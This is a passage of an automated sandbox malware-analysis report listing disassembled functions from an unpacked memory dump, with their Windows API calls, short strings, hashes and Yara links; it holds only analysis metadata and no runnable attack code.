Opcode Fuzzy Hash: f161013116c55da72c63ce6aca6e420a63ce0a8e746b5f21adae62202949ffd6
Instruction Fuzzy Hash: BEA13C71E001189FFB24CF64C885FEAB775FB84308F1082A9E21DAB281D775AA95CF55

Function 00414F50 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 00421DA0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00421DBD

_memset.LIBCMT ref: 0041501B

Strings

#, xrefs: 00415145
!, xrefs: 00415131
", xrefs: 0041513B
, xrefs: 00415127

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt_memset
String ID: $!$"$#
API String ID: 2773535-1968938309
Opcode ID: 879969bbcf9e88a68d182caabacd3840cb6aa25ddd5c16974c51c5bb072f6322
Instruction ID: 2f7971235c982305489604d19ee49821e6440a5144027d68376bde22ab5174f8
Opcode Fuzzy Hash: 879969bbcf9e88a68d182caabacd3840cb6aa25ddd5c16974c51c5bb072f6322
Instruction Fuzzy Hash: E081F8B0904219DBEF24DF90D949BDEBBB5BB44308F1082E9D50C6B281D7BA5AC8CF55

Function 00416E10 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00416EFC
CloseHandle.KERNEL32(00000000), ref: 00416F32
CloseHandle.KERNEL32(00000000), ref: 00416F82
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00416FEC

Strings

d, xrefs: 00416E8A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeObjectSingleVirtualWait
String ID: d
API String ID: 129225811-2564639436
Opcode ID: fcb17fb08f8a2ff92cdf329a4d91d832edf0e00a8f6b7ae9b3bbe9ed01b1c473
Instruction ID: 28724bebe1558540128be9fac75f6438f6b6aced3d1ed3787778429b146f4564
Opcode Fuzzy Hash: fcb17fb08f8a2ff92cdf329a4d91d832edf0e00a8f6b7ae9b3bbe9ed01b1c473
Instruction Fuzzy Hash: 3A51C571A04508DBFF18DF94D688BEEBB76FB90309F114269D1166F280C739EA85CB45

Function 00402240 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00402304
_memset.LIBCMT ref: 0040233B
__snwprintf.LIBCMT ref: 004023C1

Part of subcall function 00418A30: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00414506,00436450), ref: 00418A59

LocalFree.KERNEL32(00000000), ref: 0040246D

Strings

D, xrefs: 00402361

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: _memset$FreeLocal__snwprintflstrlen
String ID: D
API String ID: 547233621-2746444292
Opcode ID: 4634d576b41030485f2a96de2ad68d93fd5a6a344a01d45422100c6525b31f8c
Instruction ID: 81c63f112d8dcbf07734da269fae86012bad78d6b23292d5f0bd21b72de31d1a
Opcode Fuzzy Hash: 4634d576b41030485f2a96de2ad68d93fd5a6a344a01d45422100c6525b31f8c
Instruction Fuzzy Hash: C2513BB1A012289FEB24DF50DD49BDAB778EB49304F0041EAE649A62C0D7B85BC4CF59

Function 0040FA70 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 129stringCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0040FB6F
lstrlenW.KERNEL32(00000000), ref: 0040FB7E
_memset.LIBCMT ref: 0040FBBA

Strings

%s\%s, xrefs: 0040FB5E
Software\%s, xrefs: 0040FC6D

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf_memsetlstrlen
String ID: %s\%s$Software\%s
API String ID: 2688013242-2632556899
Opcode ID: 305207b4268d95a49d7e2fc9998977da54dd48712996234ef1c47d2f84a7d1c0
Instruction ID: 69d85d81a122c71a471752251a4d3d692c880ee31a208757014cc80ab34610d5
Opcode Fuzzy Hash: 305207b4268d95a49d7e2fc9998977da54dd48712996234ef1c47d2f84a7d1c0
Instruction Fuzzy Hash: 4C513B74E082589BDB24DB60DC4ABA97274FF48700F5041FAA50DA6684DBBC6AC8CF59

Function 00414630 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004146EA
CloseHandle.KERNEL32(00000000), ref: 00414707
CloseHandle.KERNEL32(00000000), ref: 00414757

Strings

d, xrefs: 00414678

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ObjectSingleWait
String ID: d
API String ID: 2079671238-2564639436
Opcode ID: a5f96bb87789628176a693ee8ee1716a4ddfd4f6497c231a73e9ba452fa58583
Instruction ID: 7e9b78c2089fb5eeab0749f5871383a4faea996be51a3f975beff24ae6811640
Opcode Fuzzy Hash: a5f96bb87789628176a693ee8ee1716a4ddfd4f6497c231a73e9ba452fa58583
Instruction Fuzzy Hash: 0D518F31A04504DBFB18DF94CA88BADB776EBD030DF2442ADD1166F2D0C739AA95CB49

Function 0040C970 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 0040C9D6
lstrlenW.KERNEL32(00473898), ref: 0040C9E9
__snwprintf.LIBCMT ref: 0040CA2A
lstrlenW.KERNEL32(00000000), ref: 0040CA36

Strings

%s\%s\, xrefs: 0040CA1C

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrlen$__snwprintf
String ID: %s\%s\
API String ID: 943882683-2168696002
Opcode ID: 4eaf386347df97857c49bb7d8605883d18f9c58badc4eb0c2abeeb1f880bd2d7
Instruction ID: e147fc819eea64ca5bfbedf496181ac7fb7691f2af72f04a92943b164336590f
Opcode Fuzzy Hash: 4eaf386347df97857c49bb7d8605883d18f9c58badc4eb0c2abeeb1f880bd2d7
Instruction Fuzzy Hash: F631CAB5A00209DFCB04DFA8D995AEEBBB5FF48304F148169EA09A7351D734A940CF99

Function 004081E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00408200
_memset.LIBCMT ref: 0040821F

Part of subcall function 0040C970: lstrlenW.KERNEL32(?), ref: 0040C9D6
Part of subcall function 0040C970: lstrlenW.KERNEL32(00473898), ref: 0040C9E9
Part of subcall function 0040C970: __snwprintf.LIBCMT ref: 0040CA2A
Part of subcall function 0040C970: lstrlenW.KERNEL32(00000000), ref: 0040CA36

__snwprintf.LIBCMT ref: 00408266
__snwprintf.LIBCMT ref: 0040828B

Strings

%s%s, xrefs: 0040827A

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintflstrlen$_memset
String ID: %s%s
API String ID: 2330956672-3252725368
Opcode ID: 865d7628b5a174b59cb6c7e6ff2d55de3777c8ac3998084ebc6a3df48adac488
Instruction ID: b20160649954e81e419212330c58fef505bed6343514b354166d05e66b797ae1
Opcode Fuzzy Hash: 865d7628b5a174b59cb6c7e6ff2d55de3777c8ac3998084ebc6a3df48adac488
Instruction Fuzzy Hash: B321D971A4021897C750D7609C8DBEA7338AB54700F500AEEF619E21D1EBB99EC58F99

Function 004107D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000), ref: 0041083A
__snwprintf.LIBCMT ref: 00410864
__snwprintf.LIBCMT ref: 0041087E

Strings

%s\System32, xrefs: 00410870
\\?\%s , xrefs: 00410856

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __snwprintf$lstrlen
String ID: %s\System32$\\?\%s
API String ID: 3284962732-2868705786
Opcode ID: 8b726a830be8a4895b1832ded17cdd1fbffd47a2450d479dd0b3ea99e2b69f56
Instruction ID: 3e696753d65392d370302bbd45998c798e2be41506fe4e983add93e44d77990d
Opcode Fuzzy Hash: 8b726a830be8a4895b1832ded17cdd1fbffd47a2450d479dd0b3ea99e2b69f56
Instruction Fuzzy Hash: 2E215C74E00208FFDB14EFE0CD49BAE7775EF48700F6044A9E605A7290D7B89A84CB58

Function 00428AE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00428AF5

Part of subcall function 00428A50: ___BuildCatchObjectHelper.LIBCMT ref: 00428A86

_UnwindNestedFrames.LIBCMT ref: 00428B0C
___FrameUnwindToState.LIBCMT ref: 00428B1A

Strings

csm, xrefs: 00428AE4
csm, xrefs: 00428AF1, 00428B06, 00428B19, 00428B37, 00428B47

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: c644bb1f34e25dafeecb1de0a9cf138c67f1586482ca544ae8a6169931f09bde
Instruction ID: 00180cedc8860145d2baff6723f8d8810d5bee4d271c32bfdd03eb9c5d3e9107
Opcode Fuzzy Hash: c644bb1f34e25dafeecb1de0a9cf138c67f1586482ca544ae8a6169931f09bde
Instruction Fuzzy Hash: 07018B71102129BBDF12AF41EC41EAF7F6AEF48348F40401ABD1810121DB3AA8B1DBA8

Function 0041D2C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,0040108A), ref: 0041D2CB
GetProcAddress.KERNEL32(0040108A,IsWow64Process), ref: 0041D2E4
GetCurrentProcess.KERNEL32(00000000), ref: 0041D300

Strings

KERNEL32.DLL, xrefs: 0041D2C6
IsWow64Process, xrefs: 0041D2DB

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$KERNEL32.DLL
API String ID: 4190356694-1193389583
Opcode ID: 6249933a974de57c9e72640388aaa2f8dcce2c95180c80794cf5e82f17424973
Instruction ID: 1921a2b7e29602db8bc9adfb27e401dbea3e546df6c6ed425b6de87b01e167cf
Opcode Fuzzy Hash: 6249933a974de57c9e72640388aaa2f8dcce2c95180c80794cf5e82f17424973
Instruction Fuzzy Hash: 64F0A5B5D01208EFCB14EFE4D849BDDBFB8AB08301F209596A915A3240D778AA84DF59

Function 00406840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(USER32.DLL,?,?,00401085), ref: 0040684B
GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 00406863
FreeLibrary.KERNEL32(00000000), ref: 0040687C

Strings

SetProcessDPIAware, xrefs: 0040685A
USER32.DLL, xrefs: 00406846

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: SetProcessDPIAware$USER32.DLL
API String ID: 145871493-772676101
Opcode ID: 0e00f6680c7169ac265b0daa26ad8c3df0e65beedca7a244a355361eb86d0d96
Instruction ID: d7e75f9fdd6377fbbd5236d9263629de4369e5fcd131ab1d584c9b0fff14c4d8
Opcode Fuzzy Hash: 0e00f6680c7169ac265b0daa26ad8c3df0e65beedca7a244a355361eb86d0d96
Instruction Fuzzy Hash: B2E03975E02308EFCB04EFE4D90C6CDBFB4AB48301F2190A6E906A3280D6786A40CB54

Function 00428488 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004284A9

Part of subcall function 0042928E: __getptd_noexit.LIBCMT ref: 00429291
Part of subcall function 0042928E: __amsg_exit.LIBCMT ref: 0042929E

__getptd.LIBCMT ref: 004284BA
__getptd.LIBCMT ref: 004284C8

Strings

MOC, xrefs: 0042849B
RCC, xrefs: 00428494

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$RCC
API String ID: 803148776-2084237596
Opcode ID: 93a7f3190e18b71f68f9d5de1e5f93c09d1e50684f76553ed21605a82b369ded
Instruction ID: 7737c63d3136a0828a1331f2bbc2fa1bb380afa4dd28c4cacb1ee6c0cfc97e33
Opcode Fuzzy Hash: 93a7f3190e18b71f68f9d5de1e5f93c09d1e50684f76553ed21605a82b369ded
Instruction Fuzzy Hash: 00E01231715125DFD710BB69E44A76E3295BB84318F9904EBE80CC7323EB7CDC50996A

Function 004167E0 Relevance: 7.7, APIs: 5, Instructions: 169stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040CB60: lstrlenW.KERNEL32(?), ref: 0040CBC0

_memmove.LIBCMT ref: 004168D6
lstrcpyW.KERNEL32(00000000,00000000), ref: 004168E6
lstrcpyW.KERNEL32(-00010000,00000000), ref: 004168F9
lstrcpyW.KERNEL32(-00020000,00000000), ref: 0041690D
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 004169F8

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: lstrcpy$FreeVirtual_memmovelstrlen
String ID:
API String ID: 2365145790-0
Opcode ID: 92839ab944face02cee3ff4d524ef7b910f60baafcd187accdf4e5d222d91e7c
Instruction ID: 06fa96edf5e054ad43188d8be7ed40ae1f202543c7b99a146bbeaf362dd0ad67
Opcode Fuzzy Hash: 92839ab944face02cee3ff4d524ef7b910f60baafcd187accdf4e5d222d91e7c
Instruction Fuzzy Hash: 4E713DB5D00208DBDB04DFA4D889BEEBBB5FB48305F148529E50577280D7789984CF68

Function 00417DAB Relevance: 7.6, APIs: 5, Instructions: 85threadsynchronizationCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00417E07
CloseHandle.KERNEL32(?), ref: 00417E39
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417E57
CreateThread.KERNEL32(00000000,00000000,?,-0047C9B0,00000004,00000000), ref: 00417E8C
ResumeThread.KERNEL32(00000000), ref: 00417ECC
WaitForSingleObject.KERNEL32(?,00000000), ref: 00417F39
CloseHandle.KERNEL32(?), ref: 00417F71
CloseHandle.KERNEL32(?), ref: 00417FA3
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 00417FC1
CreateThread.KERNEL32(00000000,00000000,?,-0047C9B0,00000004,00000000), ref: 00417FF5
ResumeThread.KERNEL32(00000000), ref: 00418035

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventResume$ObjectSingleWait
String ID:
API String ID: 738346648-0
Opcode ID: 590f01a21b9718ac9ed64399f36247e05f455f45cc3c043a5bbdee1abbca3eb7
Instruction ID: 2c11c2abda471f898dc428e74e83c8a7033fe9b91b3710d809d7093046dab45b
Opcode Fuzzy Hash: 590f01a21b9718ac9ed64399f36247e05f455f45cc3c043a5bbdee1abbca3eb7
Instruction Fuzzy Hash: ED416FB1A041059BDB48CF54C9C9FBEB7B2FB94304F15556EE21AAF2D1C730A891CB58

Function 0042F534 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0042F542

Part of subcall function 004256B9: __FF_MSGBANNER.LIBCMT ref: 004256D2
Part of subcall function 004256B9: __NMSG_WRITE.LIBCMT ref: 004256D9
Part of subcall function 004256B9: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,00405B83,?), ref: 004256FE

_free.LIBCMT ref: 0042F555

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 441664d7da4678698a6d9d0ed19a3842fb2feae85e2a5a83bfc4feba8890b744
Instruction ID: d978e831b2cafcf954e5248f81c6a5c961bbb316b0d0cf1e3abffdfde8d45e15
Opcode Fuzzy Hash: 441664d7da4678698a6d9d0ed19a3842fb2feae85e2a5a83bfc4feba8890b744
Instruction Fuzzy Hash: 6C11B232701635BACB256F35BC0465E36A4AF807A4BE0443FF94996252DE3C9885869C

Function 0041CBCD Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: ece4f18416405fd832fad1abf87d3e54d1f91ce04ab1e08181c4e170daad7968
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: ece4f18416405fd832fad1abf87d3e54d1f91ce04ab1e08181c4e170daad7968
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CBEC Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: b686ff8bdfc05e106c20aa80165a9efd769ff4f8deaa7f8e744bc8b9cdd6501d
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: b686ff8bdfc05e106c20aa80165a9efd769ff4f8deaa7f8e744bc8b9cdd6501d
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CC40 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: f74986d97ae5e8538954fb663ead6fb8cf86ad82d44154c6794cd10ba1680438
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: f74986d97ae5e8538954fb663ead6fb8cf86ad82d44154c6794cd10ba1680438
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CC53 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: 731f9bbc109e3ef206682bf242c89cf76e1722f8ae557b99efb38a03e99548d8
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: 731f9bbc109e3ef206682bf242c89cf76e1722f8ae557b99efb38a03e99548d8
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CC66 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: f713cfee621fd032cf6ea7a1be68935ccbbaf2e16e950218fcf80006d3a728d0
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: f713cfee621fd032cf6ea7a1be68935ccbbaf2e16e950218fcf80006d3a728d0
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CC79 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: 1fb1270d296bbd46eb1cc8022cfb665c3bbc0e02fc8c9adec0eea0844cc3e8fe
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: 1fb1270d296bbd46eb1cc8022cfb665c3bbc0e02fc8c9adec0eea0844cc3e8fe
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CCC5 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: 9da45043f5abe3937aea9bc193c07396d5de998bdd8a888cc472dc2aac9b643f
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: 9da45043f5abe3937aea9bc193c07396d5de998bdd8a888cc472dc2aac9b643f
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CC8C Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: 59b72818c02ad9c66f209a0dfa9ef427c6eaac385237f59953ff017e171112e7
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: 59b72818c02ad9c66f209a0dfa9ef427c6eaac385237f59953ff017e171112e7
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CC9F Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

Source File: 00000002.00000002.2041122621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_uncrypted.jbxd

Yara matches

Similarity

API ID: CloseHandle$ExitFreeLocalProcess
String ID:
API String ID: 2341366623-0
Opcode ID: 923f2690e53a1e9e59a38cd21ecfb9ec9b96ad37252adccc829242ddd140fc2d
Instruction ID: aaf2cc8c7df5709d2270552724e820aaec17009ff33ccf02a5cd1cc3e68c1f22
Opcode Fuzzy Hash: 923f2690e53a1e9e59a38cd21ecfb9ec9b96ad37252adccc829242ddd140fc2d
Instruction Fuzzy Hash: A8210871554200DBD718AFA4ED9CB9A3776EB55306F10453AF219622F0CB7898CACB1D

Function 0041CCB2 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 0041CF7E
CloseHandle.KERNEL32(00000000), ref: 0041CF8E
CloseHandle.KERNEL32(?), ref: 0041CFB4
LocalFree.KERNEL32(00000000), ref: 0041CFC4
ExitProcess.KERNEL32 ref: 0041CFD5

Memory Dump Source

